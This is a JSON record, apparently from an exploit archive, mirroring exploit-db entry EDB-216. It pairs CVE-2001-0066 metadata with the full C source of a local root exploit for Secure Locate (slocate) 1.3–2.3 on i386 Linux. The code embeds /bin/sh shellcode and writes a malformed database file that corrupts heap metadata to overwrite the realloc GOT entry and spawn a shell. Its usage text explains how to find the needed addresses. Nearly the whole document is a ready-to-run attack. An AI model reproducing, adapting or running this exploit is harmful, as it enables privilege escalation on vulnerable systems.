{"exploit":{"id":"EDB-216","name":"dislocate 1.3 - Local i386","description":"dislocate 1.3 - Local i386","cves":["CVE-2001-0066"],"author":"Michel Kaempf","published":"2000-12-02","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/216","path":"exploits/linux/local/216.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-216.c","vulnerabilities":[{"id":"CVE-2001-0066","state":"PUBLISHED","title":null,"titleSource":null,"description":"Secure Locate (slocate) allows local users to corrupt memory via a malformed database file that specifies an offset value that accesses memory outside of the intended buffer.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0066","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0066"},"updatedAt":"2024-08-08T04:06:55.305Z","retrievedAt":"2026-11-26T13:05:49.682Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-216.png?v=2","url":"https://exploitbin.com/exploits/EDB-216","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-216/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-216/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * MasterSecuritY <www.mastersecurity.fr>\n *\n * dislocate.c - Local i386 exploit in v1.3 < Secure Locate < v2.3\n * Copyright (C) 2000  Michel \"MaXX\" Kaempf <maxx@mastersecurity.fr>\n *\n * Updated versions of this exploit and the corresponding advisory will\n * be made available at:\n *\n * ftp://maxx.via.ecp.fr/dislocate/\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n\n#define PATH \"/tmp/path\"\n\nchar *shellcode =\n  \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"\n  \"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n  \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\";\n\nvoid usage( char * string )\n{\n  fprintf( stderr, \"* Usage: %s filename realloc malloc\\n\", string );\n  fprintf( stderr, \"\\n\" );\n  fprintf( stderr, \"* Example: %s /usr/bin/slocate 0x0804e7b0 0x08050878\\n\", string );\n  fprintf( stderr, \"\\n\" );\n  fprintf( stderr, \"* Realloc:\\n\" );\n  fprintf( stderr, \"  $ objdump -R /usr/bin/slocate | grep realloc\\n\" );\n  fprintf( stderr, \"\\n\" );\n  fprintf( stderr, \"* Malloc:\\n\" );\n  fprintf( stderr, \"  $ %s foobar 0x12121212 0x42424242\\n\", string );\n  fprintf( stderr, \"  $ cp /usr/bin/slocate /tmp\\n\" );\n  fprintf( stderr, \"  $ ltrace /tmp/slocate -d %s foobar 2>&1 | grep 'malloc(64)'\\n\", PATH );\n  fprintf( stderr, \"  $ rm %s\\n\", PATH );\n  fprintf( stderr, \"\\n\" );\n}\n\nint zero( unsigned int ui )\n{\n  if ( !(ui & 0xff000000) || !(ui & 0x00ff0000) || !(ui & 0x0000ff00) || !(ui & 0x000000ff) ) {\n    return( -1 );\n  }\n  return( 0 );\n}\n\nint main( int argc, char * argv[] )\n{\n  unsigned int ui_realloc;\n  unsigned int ui_malloc;\n  char path[1337];\n  char next[1337];\n  char * execve_argv[] = { NULL, \"-d\", PATH, next, NULL };\n  int fd;\n  unsigned int p_next;\n  unsigned int ui;\n\n  if ( argc != 4 ) {\n    usage( argv[0] );\n    return( -1 );\n  }\n  execve_argv[0] = argv[1];\n  ui_realloc = (unsigned int)strtoul( argv[2], NULL, 0 );\n  ui_malloc = (unsigned int)strtoul( argv[3], NULL, 0 );\n\n  strcpy( next, \"ppppssssffffbbbb\" );\n  p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1);\n  for ( ui = 0; ui < p_next - (p_next & ~3); ui++ ) {\n    strcat( next, \"X\" );\n  }\n  p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1);\n\n  ui = 0;\n  *((unsigned int *)(&(next[ui]))) = (unsigned int)(-1);\n\n  ui += 4;\n  *((unsigned int *)(&(next[ui]))) = ((ui_malloc - 8) + 136) - p_next;\n  if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {\n    fprintf( stderr, \"debug: next->size == 0x%08x;\\n\", *((unsigned int *)(&(next[ui]))) );\n    return( -1 );\n  }\n\n  ui += 4;\n  *((unsigned int *)(&(next[ui]))) = ui_realloc - 12;\n  if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {\n    fprintf( stderr, \"debug: next->fd == 0x%08x;\\n\", *((unsigned int *)(&(next[ui]))) );\n    return( -1 );\n  }\n\n  ui += 4;\n  *((unsigned int *)(&(next[ui]))) = ui_malloc;\n  if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {\n    fprintf( stderr, \"debug: next->bk == 0x%08x;\\n\", *((unsigned int *)(&(next[ui]))) );\n    return( -1 );\n  }\n\n  ui = 0;\n  path[ui] = (char)(256 - 4);\n\n  ui += 1;\n  *((unsigned int *)(&(path[ui]))) = p_next - (ui_malloc - 8);\n  if ( zero( *((unsigned int *)(&(path[ui]))) ) ) {\n    fprintf( stderr, \"debug: oldp->size == 0x%08x;\\n\", *((unsigned int *)(&(path[ui]))) );\n    return( -1 );\n  }\n\n  ui += 4;\n  path[ui] = 0;\n  strcat( path, \"\\xeb\\x0axxyyyyzzzz\" );\n  strcat( path, shellcode );\n\n  fd = open( PATH, O_WRONLY|O_CREAT|O_EXCL, S_IRWXU );\n  if ( fd == -1 ) {\n    fprintf( stderr, \"debug: open( \\\"%s\\\", O_WRONLY|O_CREAT|O_EXCL, S_IRWXU ) == -1;\\n\", PATH );\n    return( -1 );\n  }\n  write( fd, \"0\", sizeof(\"0\") );\n  write( fd, \"\", sizeof(\"\") );\n  write( fd, path, strlen(path) );\n  close( fd );\n\n  execve( execve_argv[0], execve_argv, NULL );\n  return( -1 );\n}\n\n\n// milw0rm.com [2000-12-02]","sha256":"a9dc5fa475dcb17aa34c3820ac01a67c555b344c078cb1812d99d8e82a1f4ae1","bytes":4563,"fetchedAt":"2026-11-26T13:05:46.974Z","encoding":"utf-8 (display only; download retains original bytes)"}